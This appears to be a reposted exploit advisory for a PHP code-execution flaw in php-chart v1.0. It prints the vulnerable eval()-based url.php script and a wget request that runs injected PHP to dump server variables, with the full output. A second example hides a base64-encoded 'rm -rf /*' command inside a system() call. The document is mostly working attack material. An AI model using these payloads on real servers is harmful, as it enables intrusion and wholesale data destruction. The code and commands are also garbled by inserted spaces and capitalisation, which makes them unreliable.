Impact program: php-chart_v1.0
Official program: http://php-charts.com/
Defect type: PHP Code Execution.
========================================================== ======================================
Test Platform System: Debian squeeze 6.0.6
Server Software Version: Apache/2.2.16 (Debian)
PHP 5.3.3-7 + squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
With Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
========================================================== ======================================
Program introduction:
Php-Charts is basically a class which can be used to generate
Different charts (Bar, Pie, Doughnut etc.) in different format (PDF, PNG, JPG, HTML)
Using different data source (csv, xml, MySQL, MS, SQL, MS Access, PostgreSql,
User defined data ).
========================================================== ======================================
Defect Analysis
Root @ debian:/etc/apache2/htdocs/hacker1/wp/chart/wizard # cat url. php
<? Php
Require ("../lib/phpchart. class. php ");
$ Color_var = array ("txt_col", "line_col", "bg_color ");
$ Cname = $ _ GET ["type"];
$ Chart = new PHPChart ($ cname );
Foreach ($ _ GET as $ key => $ value)
{
If ($ value! = "")
{
If (in_array ($ key, $ color_var ))
Eval ('$ chart->'. $ key. '= "#'. $ value .'";');
Else if ($ value = 'yes ')
Eval ('$ chart->'. $ key. '= true ;');
Else if ($ value = 'no ')
Eval ('$ chart->'. $ key. '= false ;');
Else if (is_numeric ($ value ))
Eval ('$ chart->'. $ key. '='. $ value .';');
Else
Eval ('$ chart->'. $ key. "= '". $ value ."';");
}
}
$ Chart-> genChart ();
Exploitation:
Root @ debian:/tmp # wget 'HTTP: // www.2cto.com // wp/chart/wizard/url. php? $ {Var_dump ($ _ SERVER)} = IZABEKAILOVEYOUBABY '-O out.txt & cat out.txt
-- 21:19:16 -- http://hacker1.own//wp/chart/chart/wizard/url.php? $ % 7Bvar_dump ($ _ SERVER) % 7D = IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own | 127.0.0.1 |: 80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: Export out.txt"
[<=>] 1,917 --.-K/s in 0 s
21:19:17 (8.56 MB/s)-extract out.txt "saved [1917]
Notice: Undefined index: type in/etc/apache2/htdocs/hacker1/wp/chart/wizard/url. php on line 4
Array (28 ){
["DOCUMENT_ROOT"] =>
String (28) "/etc/apache2/htdocs/hacker1 /"
["GATEWAY_INTERFACE"] =>
String (8) "CGI/1.1"
["HTTP_ACCEPT"] =>
String (3 )"*/*"
["HTTP_CLIENT_IP"] =>
String (9) "127.0.0.1"
["HTTP_HOST"] =>
String (11) "hacker1.own"
["HTTP_USER_AGENT"] =>
String (21) "Wget/1.12 (linux-gnu )"
["HTTP_VIA"] =>
String (77) "http/1.0 debian [fe8000000000000000000a0027fffe077fc6] (ApacheTrafficServer/3.2.0 )"
["HTTP_X_FORWARDED_FOR"] =>
String (9) "127.0.0.1"
["PATH"] =>
String (4) "/bin"
["PHPRC"] =>
String (14) "/etc/php5/cgi /"
["QUERY_STRING"] =>
String (45) "$ % 7Bvar_dump ($ _ SERVER) % 7D = IZABEKAILOVEYOUBABY"
["REDIRECT_STATUS"] =>
String (3) 200"
["REMOTE_ADDR"] =>
String (9) "127.0.0.1"
["REMOTE_PORT"] =>
String (5) "60830"
["REQUEST_METHOD"] =>
String (3) "GET"
["REQUEST_URI"] =>
String (76) "/wp/chart/wizard/url. php? $ % 7Bvar_dump ($ _ SERVER) % 7D = IZABEKAILOVEYOUBABY"
["SCRIPT_FILENAME"] =>
String (57) "/etc/apache2/htdocs/hacker1/wp/chart/wizard/url. php"
["SCRIPT_NAME"] =>
String (30) "/wp/chart/wizard/url. php"
["SERVER_ADDR"] =>
String (9) "127.0.0.1"
["SERVER_ADMIN"] =>
String (21) "webmaster@hacker1.own"
["SERVER_NAME"] =>
String (11) "hacker1.own"
["SERVER_PORT"] =>
String (2) "80"
["SERVER_PROTOCOL"] =>
String (8) "https/1.1"
["SERVER_SIGNATURE"] =>
String (0 )""
["SERVER_SOFTWARE"] =>
String (6) "Apache"
["UNIQUE_ID"] =>
String (24) "UPYOJH8AAQEAAE8eNfMAAAAC"
["PHP_SELF"] =>
String (30) "/wp/chart/wizard/url. php"
["REQUEST_TIME"] =>
Int (1358302756)
}
Notice: Undefined variable: in/etc/apache2/htdocs/hacker1/wp/chart/wizard/url. php (20): eval () 'd code on line 1
Fatal error: Cannot access empty property in/etc/apache2/htdocs/hacker1/wp/chart/wizard/url. php (20): eval () 'd code on line 1
Root @ debian:/tmp #
Example 2:
Http://hacker1.own//wp/chart/chart/wizard/url.php? & 123 & $ {var_dump (system (base64_decode (cm0gLXJmIC8q)} = 123456LoL
================================== Ends here ======================== ==============